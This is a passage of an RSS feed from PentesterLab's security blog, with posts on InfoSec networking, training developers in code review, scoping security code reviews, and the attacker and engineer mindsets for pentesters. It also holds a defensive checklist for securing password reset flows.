        <p>They’re excellent for learning about development and operational practices—which is crucial to understand security needs especially if you want to specialize in product security or application security.</p>
    </li>
    <li>
        <p>You’ll often find security folks popping in, and you can still gain valuable contacts.</p>
    </li>
</ul>

<h5 class="fw-bold my-3">Try Speaking</h5>
<p>
It might seem intimidating, but giving a talk—no matter how short—helps you stand out. Many conferences have beginner-friendly speaking tracks. You could:
</p>
<ul>
    <li>Showcase a project you’ve worked on, like a CTF challenge or a unique vulnerability you discovered.</li>
    <li>Share your journey into InfoSec—what worked, what didn’t, and the lessons you learned.</li>
    <li>End your talk by mentioning you’re looking for a job if you are—this can spark interesting conversations.</li>
</ul>

<p>
Conference attendees and fellow speakers will be more likely to remember and connect with you afterward. It’s a great way to jumpstart those valuable conversations that lead to career opportunities.
</p>

<h5 class="fw-bold my-3">A Few Other Recommendations</h5>
<ul>
    <li>
        <strong>Connect to share, not to take.</strong>
        <p>People quickly spot when someone only wants to “get something.” Aim for authentic, two-way relationships.</p>
    </li>
    <li>
        <strong>Don’t ask if you can ask—just ask.</strong>
        <p>        When messaging someone online or on social media, be direct yet polite. Don’t waste time on excessive preambles. 
        For some people, it may even feel like a "foot in the door", hoping a small request will pave the way for a bigger one. </p>

    </li>
    <li>
        <strong>Don’t be a jerk.</strong>
        <p>It might sound obvious, but courtesy goes a long way in this industry (and any industry, really).</p>
    </li>
</ul>

<h5 class="fw-bold my-3">Conclusion</h5>
<p>Networking in InfoSec isn’t just about IP addresses and ports—it’s also about forging genuine, human connections that can open doors you never knew existed. Whether you’re volunteering, joining local meetups, hopping on Discord servers, or even trying your hand at a short talk, every step you take to connect with others contributes to your growth in this ever-evolving field.</p>

<h5 class="fw-bold my-3">Homework</h5>
<ul>    
    <li>
        <strong>Pick One Event</strong>
         <p>Commit to attending at least one InfoSec event—online or in-person—this year. It could be a local meetup, a conference like BSides, or even a security workshop. Mark it on your calendar and make it a priority to show up.</p>
    </li>
    <li>    
        <strong>Join a Discord Server</strong>
         <p>Keep learning and connecting by joining an InfoSec-focused Discord community—such as the <a href="https://discord.com/invite/ymd3HkhbfE">PentesterLab</a> server or another that suits your interests. Introduce yourself, ask questions, and share resources.</p>
    </li>
</ul> 
<p>By completing these two pieces of “homework,” you’ll be well on your way to building the kind of authentic relationships that can truly shape your InfoSec career—and make the journey even more exciting.</p>

]]>
      </description>
      <pubDate>Sat, 11 Jan 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/infosec-networking-guide-beyond-tcp-ip</link>
      <guid>https://pentesterlab.com/blog/infosec-networking-guide-beyond-tcp-ip</guid>
    </item>
    <item>
      <title>The Role of Security Code Review Training for Developers</title>
      <description>
        <![CDATA[           <div>
              <p class="mb-0">Training developers in security code review goes beyond simply enhancing their ability to write secure code. It equips them with the skills to identify and address security vulnerabilities during the development process itself, which has significant benefits for ongoing code maintenance, peer programming, and scaling the efforts of the application security team.</p>

                       </div>
             <h5 class="fw-bold my-3">Enhancing Ongoing Code Maintenance</h5>
              <p>Code maintenance is an ongoing task that involves updating, refactoring, and fixing bugs in the codebase. As applications evolve, maintaining security becomes a continuous process. By training developers in security code review, organizations can integrate security checks into every stage of code maintenance. Developers trained in security code review are better equipped to recognize and mitigate potential security risks as they maintain and update code. This proactive approach ensures that security vulnerabilities are not inadvertently introduced during routine updates or bug fixes, leading to a more resilient and secure application over time.

              <h5 class="fw-bold my-3">Improving Peer Programming</h5>
              <p>Peer programming is a collaborative approach where two developers work together on the same piece of code. When developers are trained in security code review, they can bring a security-focused perspective to their collaboration. This ensures that security considerations are part of the conversation during code development, not an afterthought. With developers aware of common security pitfalls and how to spot them, they can catch potential issues early in the process. This not only improves the quality of the code being written but also reinforces a security-conscious culture within the development team.

              <h5 class="fw-bold my-3">Scaling the Application Security Team's Efforts</h5>
              <p>One of the most significant challenges for application security teams is scaling their efforts across large codebases and numerous projects. The demand for security reviews often outpaces the capacity of dedicated security teams. By training developers in security code review, organizations can distribute the responsibility for security across the entire development team. This approach effectively multiplies the application security team's efforts, as trained developers can independently review code for security issues during their daily work.</p>

              <p>This distributed approach allows the application security team to focus on more complex and high-risk areas, knowing that the broader development team is capable of handling many of the routine security checks. It also fosters a security-first mindset throughout the organization, as developers take ownership of the security of their code. In the long run, this not only improves the overall security posture of the organization but also leads to more secure products and faster time to market, as security is integrated into the development process rather than being treated as a separate, external function.</p>

              <h5 class="fw-bold my-3">Conclusion</h5>
              <p>Training developers in security code review has far-reaching benefits that extend beyond their immediate development tasks. It enhances ongoing code maintenance by ensuring that security remains a priority even as code evolves, strengthens peer programming by integrating security into the collaborative development process, and scales the efforts of the application security team by embedding security expertise within the development team. By empowering developers with the skills to conduct security code reviews, organizations can create a more secure and resilient software development lifecycle.</p>
]]>
      </description>
      <pubDate>Thu, 09 Jan 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/security-code-review-training-for-developers</link>
      <guid>https://pentesterlab.com/blog/security-code-review-training-for-developers</guid>
    </item>
    <item>
      <title>Scoping a Security Code Review</title>
      <description>
        <![CDATA[<p>Scoping a security code review is a critical step in ensuring a successful engagement. Without proper scoping, you risk falling into one of two traps: either you have too little time to conduct a thorough review and miss critical issues, or you spend excessive time and resources analyzing code with diminishing returns. The key is to balance depth, coverage, and cost to maximize value for the client and your team.</p>

<h5 class="fw-bold my-3">Understanding the Goals of a Security Code Review</h5>

<p>A well-scoped security code review starts with understanding the client’s goals. Are they looking for exploitable bugs, a strengthened security posture, or simply a clearer understanding of potential risks in their application? Clients might seek a code review for various reasons: they may have already subjected the application to rigorous penetration testing, heard about the benefits of security code reviews, or want to use the review process as a foundation for internal developer training. Each of these scenarios will dictate a different approach to the review, affecting how much time and effort you invest in different areas of the codebase.</p>

<h5 class="fw-bold my-3">Evaluating Application Complexity and Size</h5>

<p>The complexity and size of the application are also major factors. Reviewing a small CRUD application built with Rails is vastly different from auditing a highly complex system implementing zero-knowledge algorithms or innovative cryptography. The larger and more intricate the application, the more time and expertise are required. A codebase with 100,000 lines of code demands a different approach from one with a million lines. Adding to this, the programming language can impact the cost and effort—it’s easier to find experienced reviewers for popular languages like Golang than for more niche languages like Scala.</p>

<h5 class="fw-bold my-3">Knowing Where to Stop</h5>

<p>One of the most challenging aspects of scoping a security code review is deciding where to stop. Code reviews can spiral into an endless rabbit hole—checking dependencies, dependencies of dependencies, or even the underlying framework itself. Knowing when to draw the line is crucial. While it might seem appealing to audit every aspect of the system, this isn’t realistic or cost-effective for most clients. The focus should remain on areas of the application that are most likely to yield impactful findings based on the client’s goals and the application’s threat profile.</p>

<h5 class="fw-bold my-3">Tailoring the Review to Threat Profiles</h5>

<p>Speaking of threat profiles, a proper threat assessment can help scope a security code review tactically. An internal application with features accessible only to trusted users requires a different approach than a public-facing application with self-registration. In the first case, you may prioritize reviewing authentication mechanisms and session management, whereas in the latter, your focus might shift to input validation and public API endpoints. Tailoring the scope to address specific threats ensures that your efforts are directed toward the areas that matter most.</p>

<h5 class="fw-bold my-3">Addressing Deployment and Testing Challenges</h5>

<p>Another factor to consider is the deployment and testing environment. If the code is difficult to deploy or cannot be run with full debugging enabled, your ability to trace behaviors and confirm vulnerabilities will be limited. A lack of debugging capabilities can slow down the review process significantly. Similarly, if it takes several days to set up the test environment, this delay should be factored into the timeline. A seamless and functional environment allows reviewers to map code to application behavior more effectively, which is critical for identifying and verifying issues.</p>

<h5 class="fw-bold my-3">Setting Client Expectations</h5>

<p>The client’s expectations for findings also play a major role in shaping the review. Some clients may value detailed explanations of risks and recommendations for improvement, while others might want fully working exploits to demonstrate the impact of vulnerabilities. Writing exploits takes time, especially when bypassing multiple layers of defense, and this effort must be accounted for in the scope. Additionally, consider what deliverables the client expects from the review. Some clients can benefit from tailored artefacts, such as a set of Semgrep or SAST rules created to address recurring issues in their codebase. These artefacts not only provide immediate value but also help establish long-term safeguards for maintaining security. Clarifying these expectations upfront will prevent misunderstandings and ensure that the review delivers what the client truly needs.</p>

<h5 class="fw-bold my-3">Timeboxing and Collaboration for Efficiency</h5>

<p>Timeboxing is often the most practical way to scope a security code review. For very small engagements, a one-week review may suffice, while more comprehensive reviews typically require at least  two to four weeks. Iterative reviews can be particularly effective for large or complex systems. After completing an initial cycle, evaluate the findings and decide whether further review cycles are warranted. This approach ensures that the review remains focused and cost-effective, avoiding situations where you continue reading code without meaningful security improvements. Unfortunately, doing this can be a nightmare for  scheduling.</p>

<p>A successful security code review also benefits from multiple reviewers. Having at least two reviewers allows for cross-validation of findings and ensures that nothing critical is overlooked. This collaborative approach is particularly important for longer engagements, where fresh perspectives can make a significant difference.</p>

<h5 class="fw-bold my-3">Educating Clients About Security Code Reviews</h5>

<p>Educating clients is another essential part of the scoping process. Not all clients have a clear understanding of what a security code review entails or how to scope it effectively. Some may overestimate the importance of certain areas or underestimate the value of targeted reviews. For example, a client requesting a comprehensive review of a fragile system might benefit more from prioritizing foundational fixes before diving into deeper analysis. If the client has not conducted a penetration test yet, this might be a more efficient or cost-effective starting point. Alternatively, a "grey box" approach, where the testers have access to the code during a penetration test, can offer a balanced middle ground—combining the strengths of both methodologies. By guiding clients toward a more strategic approach, you can help them achieve better outcomes while avoiding unnecessary costs.</p>

<h5 class="fw-bold my-3">Conclusion</h5>

<p>Scoping a security code review is both an art and a science. It requires balancing technical depth with practical constraints, understanding the client’s goals, and tailoring the approach to deliver maximum value. While it may seem daunting at first, scoping becomes more intuitive with practice and experience. By focusing on the right areas and setting clear expectations, you can ensure a successful review that meets the client’s needs and strengthens their application’s security.</p>
]]>
      </description>
      <pubDate>Mon, 06 Jan 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/scoping-security-code-review-guide</link>
      <guid>https://pentesterlab.com/blog/scoping-security-code-review-guide</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 01/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


<div class="mb-0">
  <p>Happy New Year, everyone! Just one write-up and AppSec eZine this week, but WHAT A WRITE-UP!</p>
</div>
<div class="mb-5">

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤯</span> Breaking the Chain: Wiz Uncovers a Signature Verification Bypass in Nuclei, the Popular Vulnerability Scanner (CVE-2024-43405)</h5>
<p>Do yourself a favor and read this! I love the content, the vulnerability, and the way it is written. The usage of the 🚩 particularly (you know I'm a big fan of those if you read my posts) to highlight the building blocks of a vulnerability is excellent. Check it out here: <a href="https://www.wiz.io/blog/nuclei-signature-verification-bypass" target="_blank">Breaking the Chain: Wiz Uncovers a Signature Verification Bypass in Nuclei, the Popular Vulnerability Scanner (CVE-2024-43405)</a>.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">📚</span> AppSec eZine #568</h5>
<p>The latest edition of AppSec eZine is here! Read <a href="https://pathonproject.com/zb/?47a5c4d277c9d868#ITw2XQChHbEFAfC9XeLQz3DbeVz6mHdHlLGIc9b62Yg=" target="_blank">issue #568</a>.</p>




<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 05 Jan 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week01-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week01-2025</guid>
    </item>
    <item>
      <title>The "Engineer Mind": Visualizing Code and Architecture for Successful Pentesting and AppSec Engineering</title>
      <description>
        <![CDATA[<p>
While developing the <a href="/blog/criminal-mindset-in-security-testing" target="_blank">"Criminal Mind"</a> is crucial for uncovering vulnerabilities, there is another equally important skill to master: developing the "Engineer Mind." This involves building a robust mental image of code and architecture. </p>

<p>The "Engineer Mind" enables you to reverse engineer how applications are written and architected by observing behaviors, inspecting features, and testing their boundaries. Once you've built a strong mental model, you can often predict how systems will behave, where they might break, and what could go wrong.
</p>

<h5 class="fw-bold my-3">Building a Mental Image of Code</h5>
<p>
When testing a web application, skilled pentesters and AppSec engineers are constantly reverse-engineering its behavior to construct a mental image of the underlying code. This mental process involves simulating the code in your mind or jotting down pseudo-code based on observed behaviors.
</p>
<p>
For example, consider a file upload feature. You upload an image and access it at <code>/uploads/myimage.jpg</code>. You can start mentally drafting the backend logic:
</p>
<pre>
save(file, '/uploads/')
</pre>
<p>
Next, you upload <code>myimage.php</code> and encounter an error. This reveals something about file type validation. Piece by piece, you build a mental representation of the logic:
</p>
<pre>
if file is PHP
  return error

save(file, '/uploads/')
</pre>
<p>
Then, you upload an image with the extension <code>.php</code> and encounter the same error. This reveals another layer about file type validation:
</p>
<pre>
if file extension is PHP
  return error

save(file, '/uploads/')
</pre>
<p>
The goal is to transition from black-box testing to a mental white-box testing approach by constructing a detailed internal image of the code.
</p>
<p>
Another way to build this mental image is by breaking down features into their possible implementation. For instance, when testing a login feature, consider how the application might be verifying credentials: Is it hashing passwords? Is there a session mechanism? What kind of database query might it run? These mental exercises sharpen your ability to anticipate the code’s behavior and design.
</p>
<p>
If you aren’t already doing this, start! It will transform how you approach testing and debugging.
</p>

<h5 class="fw-bold my-3">Constructing a Mental Image of Architecture</h5>
<p>
Building a mental architecture involves visualizing how the components of a system interact and function together. As you test an application, details emerge that add to this mental model.
</p>
<p>
For example:
</p>
<ul>
  <li>If a file is uploaded and directly served from an S3 bucket, you can add S3 to your mental architecture image.</li>
  <li>If the application throws a MySQL error when an input is too long, you add MySQL to the architecture.</li>
</ul>
<p>
Little by little, you construct this mental architecture. The more detailed your mental image, the easier it becomes to identify where to look for vulnerabilities, inefficiencies, or potential failures.
</p>

<h5 class="fw-bold my-3">Why This Matters</h5>
<p>
Building mental models of both code and architecture offers several key advantages:
</p>
<ul>
  <li><strong>Predict Weak Points:</strong> Identify areas prone to vulnerabilities, even in complex systems.</li>
  <li><strong>Think Like a Builder:</strong> Understand the constraints and assumptions behind design decisions.</li>
  <li><strong>Navigate Complexity:</strong> Quickly assess large-scale, distributed systems with efficiency and accuracy.</li>
</ul>

<h5 class="fw-bold my-3">How to Build a Mental Image of Code</h5>

<p>
Building a mental image of code requires deliberate practice and a structured approach to analyzing and understanding how features are implemented.
</p>

<ul>
  <li><strong>Read Code:</strong> Dive into source code, focusing on how applications block attacks and remain vulnerable. Practice with real-world codebases, exploring common frameworks like Rails or Django.</li>
  <li><strong>Do Gray-Box Testing:</strong> Blend black-box and white-box approaches. This lets you correlate observed behaviors with the underlying code.</li>
  <li><strong>Break Down Features into Code:</strong> When encountering a feature, try to visualize or write out how it might be implemented. For example, think through the logic of a password reset flow: How is the token generated? Where is it stored? How is it validated?</li>
  <li><strong>Build Applications:</strong> By creating small apps using frameworks, you’ll gain firsthand experience in understanding typical patterns, strengths, and pitfalls.</li>
</ul>

<h5 class="fw-bold my-3">How to Build a Mental Image of an Architecture</h5>

<p>
To develop a strong mental image of an architecture, you need to combine hands-on experience with theoretical knowledge. The following tasks will guide you in understanding how systems are designed, deployed, and how their components interact, so you can build a clear and detailed picture of their architecture.
</p>

<ul>
  <li><strong>Deploy Complex Applications:</strong>
    <ul>
      <li>Experiment with containerized systems (e.g., Kubernetes).</li>
      <li>Set up CI/CD pipelines and monitoring tools.</li>
      <li>Observe system interactions and error handling in real-world scenarios.</li>
    </ul>
  </li>
  <li><strong>Read Architecture Books:</strong>
    <ul>
      <li><em>Designing Data-Intensive Applications</em> by Martin Kleppmann.</li>
      <li><em>The Art of Scalability</em> by Abbott and Fisher.</li>
      <li><em>Clean Architecture</em> by Robert C. Martin.</li>
    </ul>
  </li>
  <li><strong>Follow Engineering Blogs:</strong>
    <ul>
      <li><a target="_blank" href="https://netflixtechblog.com/">The Netflix TechBlog</a></li>
      <li><a target="_blank" href="https://aws.amazon.com/blogs/architecture/">AWS Architecture Blog</a></li>
      <li><a target="_blank" href="https://github.blog/engineering/">GitHub Engineering Blog</a></li>
      <li><a target="_blank" href="https://stripe.com/blog/engineering">Stripe Engineering Blog</a></li>
      <li>...</li>
    </ul>
  </li>
  <li><strong>Break Down Systems in Your Mind:</strong>
    <ul>
      <li>Analyze how components communicate and respond to failures.</li>
      <li>Practice deconstructing known applications, such as social media platforms or e-commerce systems.</li>
    </ul>
  </li>
</ul>

<h5 class="fw-bold my-3">Combining the "Engineer Mind" with the "Criminal Mind"</h5>
<p>
The most successful pentesters and AppSec engineers combine the creative, adversarial thinking of the "Criminal Mind" with the systematic, structural thinking of the "Engineer Mind." Together, these approaches enable you to:
</p>
<ul>
  <li>Understand systems deeply enough to uncover weaknesses.</li>
  <li>Predict how attackers might exploit vulnerabilities.</li>
  <li>Provide actionable recommendations to enhance security.</li>
</ul>

<h5 class="fw-bold my-3">Conclusion</h5>
<p>
The "Engineer Mind" and the "Criminal Mind" are two sides of the same coin, working together to master the art of hacking and application security. While the "Criminal Mind" focuses on exploiting weaknesses and uncovering vulnerabilities, the "Engineer Mind" builds a deep understanding of how systems are designed and operate. Together, they form a balanced and powerful approach—like yin and yang—where creativity meets structure, and intuition meets technical precision.
</p>
<p>
By developing both mindsets, you can not only identify vulnerabilities but also understand their root causes and how to prevent them. Mastering the "Engineer Mind" through building applications, studying architecture, and analyzing systems will elevate your skills, making you a more effective pentester, AppSec engineer, and problem solver. With this dual perspective, you’ll be ready to tackle even the most complex security challenges.
</p>



]]>
      </description>
      <pubDate>Sun, 05 Jan 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/engineer-mind-visualizing-code-and-architecture</link>
      <guid>https://pentesterlab.com/blog/engineer-mind-visualizing-code-and-architecture</guid>
    </item>
    <item>
      <title>The "Criminal Mind" in Security Testing: Nature or Nurture?</title>
      <description>
        <![CDATA[
<p>In the world of security testing and vulnerability research, there’s a specific mindset that sets some individuals apart—a way of thinking I often describe as the "criminal mind". </p>

<p>These are the people who, when presented with a website, a feature, or even a real-world scenario, instinctively identify potential loopholes, vulnerabilities, or unconventional ways to exploit the system. For them, it’s not just about using something as intended; it’s about figuring out what else can be done.</p>

<h5 class="fw-bold my-3">The Hallmarks of a Criminal Way of Thinking</h5>

<p>The criminal way of thinking is not about malicious intent but rather about curiosity, creativity, and a willingness to explore the boundaries of what’s possible. It's a mindset characterized by:</p>
<ul>
<li><strong>Lateral Thinking:</strong> They approach problems from unconventional angles, questioning assumptions and exploring paths that others might overlook.</li>
<li><strong>Curiosity:</strong> They’re driven by an insatiable desire to understand how things work—and how they can be broken.</li>
<li><strong>Pattern Recognition:</strong> They’re adept at spotting weaknesses and patterns that might hint at a deeper issue.</li>
<li><strong>Risk Assessment:</strong> They intuitively evaluate the risk and reward of different actions, making educated guesses about where the most significant vulnerabilities might lie.</li>
</ul>

<h5 class="fw-bold my-3">Born or Made?</h5>

<p>One of the perennial debates in the security field is whether this mindset is innate or learned. Are some people simply born with this way of thinking, or can it be cultivated over time?</p>

<h5 class="fw-bold my-3">The Case for Being Born With It</h5>

<p>Some individuals seem naturally inclined toward this way of thinking. From an early age, they’re the ones disassembling toys, questioning rules, or finding creative ways to bypass restrictions. For them, thinking outside the box is second nature. They might not even realize their approach is unique until they encounter others who don’t see the same opportunities.</p>

<h5 class="fw-bold my-3">The Case for Cultivation</h5>

<p>While some might have a natural predisposition, many argue that this mindset can be developed through experience and practice. Exposure to real-world problems, learning from others in the field, and a genuine passion for exploration can transform even the most conventional thinker into someone capable of "criminal" creativity. Formal training, mentorship, and hands-on practice in identifying vulnerabilities are powerful tools for nurturing this way of thinking.</p>

<h5 class="fw-bold my-3">Why This Mindset Matters in Security</h5>

<p>The "criminal mind" is invaluable in security testing because it mirrors the thought processes of actual attackers. By thinking like an adversary, testers can uncover vulnerabilities before malicious actors do, providing an essential layer of defense for applications, systems, and organizations. This mindset enables:</p>
<ul>
<li><strong>Proactive Discovery:</strong> Identifying flaws before they’re exploited.</li>
<li><strong>Creative Testing:</strong> Going beyond checklists to uncover hidden issues.</li>
<li><strong>Realistic Threat Modeling:</strong> Understanding how an attacker might approach a system.</li>
</ul>

<p>One of the biggest challenges in secure coding is that developers often fail to realize their code is vulnerable. This can be attributed not only to a lack of secure coding knowledge but also to an inherent difficulty in viewing their own work through the lens of a potential attacker.</p>

<p>Helping developers develop the "criminal mind" is often a key element of getting them to discover flaws in their code. It's always a good exercise in secure training and even in peer code review to get developers to ask themselves, "What could the bad guys do?"</p>

<h5 class="fw-bold my-3">A Practical Example: The Airlock Door Dilemma</h5>

<p>This is a scenario I came across to access a data center. Imagine a scenario where three people need to enter a building, but they only have two access cards. The entrance features an airlock door system that requires an access card to be tapped at both doors on the way in and out. How do all three individuals gain entry?</p>

<p>Someone with a "criminal mind" might approach this problem by questioning the assumptions of the system. They might consider solutions like propping a door open, using timing to pass cards back through the airlock, or any number of creative approaches. The key is identifying the system’s limitations and leveraging them to achieve the desired outcome.</p>

<p><strong>The solution:</strong> The first person taps a card at the first door and carries that card inside the airlock. They tap the card on the internal door and leave the card on the floor. The next person uses the second card to pass the first door, leaves this card for the next person, and uses the card on the floor to pass the second door, then leaves the card on the floor for the next person. The third person uses the first card and keeps it with them, grabs the card on the floor in the airlock, and enters the building with both cards on them.</p>

<h5 class="fw-bold my-3">Cultivating the "Criminal Mind" as a Pentester or Bug Bounty Hunter</h5>

<p>For those looking to develop this mindset, one effective method is systematic preparation and study. Here’s how to cultivate it:</p>
<ul>
<li><strong>Build a Knowledge Base:</strong> Keep a detailed list of application types, features, and the vulnerabilities commonly associated with them. Regularly read bug bounty write-ups, vulnerability reports, and CVEs to expand this knowledge base. Make sure you keep notes for each type of application and feature.</li>
<li><strong>Analyze and Categorize:</strong> For each type of application and feature, document what has been tested, what vulnerabilities were found, and how they were exploited. Create a checklist or reference guide that you can consult during future testing.</li>
<li><strong>Practice Constantly:</strong> Engage in hands-on practice by participating in Capture the Flag (CTF) challenges, bug bounty programs, or creating your own testing environment.</li>
<li><strong>Stay Curious:</strong> Always ask, "What if?" when exploring systems. Look for the unexpected interactions or overlooked assumptions that could lead to vulnerabilities.</li>
<li><strong>Learn from Others:</strong> Follow experienced researchers and ethical hackers. Study their approaches and thought processes to understand how they identify and exploit vulnerabilities.</li>
</ul>

<h5 class="fw-bold my-3">Encouraging the Criminal Mind</h5>

<p>For those looking to foster this mindset, here are a few additional tips:</p>
<ul>
<li><strong>Practice Lateral Thinking Exercises:</strong> Engage in puzzles, games, or challenges that require unconventional problem-solving.</li>
<li><strong>Experiment and Explore:</strong> Take the time to play with systems, experiment with inputs, and test the limits of functionality.</li>
<li><strong>Adopt a Critical Perspective:</strong> Always ask, "What could go wrong here?" or "How could this be abused?"</li>
<li><strong>Challenge your assumptions:</strong> What assumptions are you making in your everyday life? What if...</li>
<li><strong>Think Like the Dodgiest Person You Know:</strong> Picture the most cunning or rule-bending person you’ve encountered and ask yourself, "What would this person do in this situation?" This exercise can help you uncover creative or unconventional ways to exploit a system.</li> 
</ul>

<h5 class="fw-bold my-3">Conclusion</h5>

<p>Whether born with it or cultivated over time, the criminal way of thinking is a cornerstone of effective security testing. It’s a mindset that challenges the status quo, pushes boundaries, and ultimately makes the digital and physical worlds safer for everyone. By understanding and embracing this approach, we can better equip ourselves to anticipate and defend against the ever-evolving tactics of adversaries.</p>
]]>
      </description>
      <pubDate>Fri, 03 Jan 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/criminal-mindset-in-security-testing</link>
      <guid>https://pentesterlab.com/blog/criminal-mindset-in-security-testing</guid>
    </item>
    <item>
      <title>Password Reset Code Review and Pentest Checklist</title>
      <description>
        <![CDATA[    <p>A secure password reset process is a cornerstone of account security for any web application. If not implemented correctly, it can expose users to severe security risks, including unauthorized account access. When a password reset process is broken, even the strongest authentication and authorization mechanisms are rendered irrelevant. </p>
    <p>This article outlines a comprehensive checklist to help you identify potential risks, avoid common pitfalls, and implement best practices for a secure password reset process.</p>

    <hr>

    <h5 class="fw-bold my-3">Classic Implementation</h5>

    <p>A classic implementation of a password reset process usually follows these steps:</p>

    <ol>
        <li>Users submit their email address to request a password reset.</li>
        <li>They receive a link containing a random token via email.</li>
        <li>Clicking the link prompts them to enter a new password.</li>
        <li>Users submit the new password.</li>
        <li>They can then proceed to log in with the new password.</li>
    </ol>

    <p>However, this seemingly simple process is full of potential risks::</p>
    <ul>
        <li><strong>Token Reuse:</strong> Attackers could reuse tokens if they are not invalidated after a single use or expiration.</li>
        <li><strong>Phishing:</strong> Poorly implemented password reset links can be exploited in phishing attacks, directing users to malicious sites.</li>
        <li><strong>Token Interception:</strong> Tokens exposed in logs, headers, or unsecured channels can be intercepted by attackers.</li>
        <li><strong>Brute-Force Attacks:</strong> Weak or predictable tokens can be guessed through automated attacks.</li>
    </ul>

    <hr>

    <h5 class="fw-bold my-3">URL in Email Should Not Be Based on Host Header</h5>

    <p>When sending a reset link by email, the application needs to determine where the link should point. This can be done in two main ways:</p>
    <ul>
        <li>Hardcoding the value in the code or setting it via configuration.</li>
        <li>Using the Host header provided by the client.</li>
    </ul>

    <p>If the application relies on the Host header, an attacker can forge a request pointing to their own server. If a victim clicks the malicious reset link, the attacker can intercept the secret token and reset the user’s password.</p>

    <p><strong>Pentest vs Code Review Check:</strong> Testing this vulnerability is easier through pentesting, as it can be confirmed in a single request. However, code reviews are more reliable since server configurations or application architecture (e.g., reverse proxies) may block exploitation.</p>

    <hr>

    <h5 class="fw-bold my-3">Limit Link Usage (Time-Based or Attempt-Based)</h5>

    <p>Password reset links should have strict limitations:</p>
    <ul>
        <li>Implement time-based expiration.</li>
        <li>Restrict the number of attempts to use the token.</li>
        <li>Invalidate the token once the password is successfully reset.</li>
    </ul>
    <p>Failing to implement these restrictions increases the risk of brute force attacks or delayed exploitation by attackers.</p>

    <p><strong>Pentest vs Code Review Check:</strong> This is definitely easier to verify through a code review, as it is not always clear how this is managed over time during a black-box audit.</p>

    <hr>

    <h5 class="fw-bold my-3">Use Cryptographically Random Tokens</h5>

    <p>The security of a password reset process depends on the randomness of the tokens. Ensure tokens are generated using cryptographically secure random number generators.</p>
    <p><strong>Pentest vs Code Review Check:</strong> Code reviews are better suited for verifying token randomness, as black-box testing may not uncover issues such as the use of predictable values that only appear random (e.g., MD5 hashes of timestamps).</p>

    <hr>

    <h5 class="fw-bold my-3">Validate Tokens Correctly</h5>

    <p>Tokens must be validated securely to prevent bypasses or timing attacks:</p>
    <ul>
        <li>Use constant-time comparison functions to avoid timing attacks.</li>
        <li>Ensure the token value is matched securely (e.g., avoid using SQL <code>LIKE</code> for token lookups).</li>
        <li>Validate the token at all relevant steps (e.g., both before displaying the reset form and when resetting the password).</li>
    </ul>

    <p><strong>Pentest vs Code Review Check:</strong> Dynamic testing may identify some of these issues, but a source code review provides comprehensive coverage and assurance. </p>
    <hr>

    <h5 class="fw-bold my-3">Ensure Tokens Are User-Specific</h5>

    <p>Tokens should be tied to specific users. A token valid for one user must not work for another. This requires pairing tokens with user identifiers (e.g., email or user ID) during validation.</p>

    <p><strong>Pentest vs Code Review Check:</strong> Black-box testing might reveal token reuse issues, but white-box testing ensures a thorough understanding of token handling.</p>

    <hr>

    <h5 class="fw-bold my-3">Store Passwords Securely</h5>

    <p>Password storage must meet modern security standards:</p>
    <ul>
        <li>Never store passwords in plain text.</li>
        <li>Avoid weak hashing algorithms like MD5, SHA1 or SHA2.</li>
        <li>Use algorithms designed for password storage (e.g., BCrypt, SCrypt, PBKDF2) with sufficient iteration counts.</li>
    </ul>

    <p>Refer to the <a href="https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html" target="_blank">OWASP Password Storage Cheat Sheet</a> for recommended settings.</p>

    <strong>Pentest vs Code Review Check:</strong> This is best reviewed through code review. To verify it via black-box testing, you would need access to a database dump and an understanding of the hashed password format.

    <hr>

    <h5 class="fw-bold my-3">Enforce Password Complexity</h5>

    <p>Ensure the application enforces a reasonable level of password complexity, ideally during both registration and password reset. Verifying complexity at these stages helps maintain consistent security across functionalities.</p>

    <p><strong>Pentest vs Code Review Check:</strong> Code reviews are more effective for verifying password complexity requirements, though black-box tests can highlight weak or missing enforcement.</p>

    <hr>

    <h5 class="fw-bold my-3">Prevent Link Leakage</h5>

    <p>Password reset links can be leaked through several channels:</p>
    <ul>
        <li>Using HTTP instead of HTTPS.</li>
        <li>Sending emails without TLS encryption.</li>
        <li>In the application's logs.</li>
        <li>Exposing links through the <code>Referer</code> header.</li>
    </ul>

    <p><strong>Pentest vs Code Review Check:</strong> Preventing link leakage often requires a combination of black-box testing and code reviews to ensure proper implementation and secure deployment.</p>

    <hr>

    <h5 class="fw-bold my-3">Final Thoughts</h5>

    <p>A secure password reset process demands meticulous attention to detail and adherence to best practices. By addressing the risks and following this checklist, you can build a robust system that protects user accounts and maintains trust in your application.</p>

    <p>Remember, this checklist is a starting point—the bare minimum for a secure implementation. Regular reviews and updates are essential to staying ahead of emerging threats.</p>
    <p>To deepen your understanding of secure coding practices, explore our <a href="/live-training/" target="_blank">Live Web Security Code Review Training</a> and earn the PentesterLab <a href="/badges/codereview" target="_blank">Code Review Badge</a> to showcase your expertise.
]]>
      </description>
      <pubDate>Thu, 02 Jan 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/password-reset-code-review-pentest-checklist</link>
      <guid>https://pentesterlab.com/blog/password-reset-code-review-pentest-checklist</guid>
    </item>
    <item>
      <title>What to Expect from a Security Internship</title>
      <description>
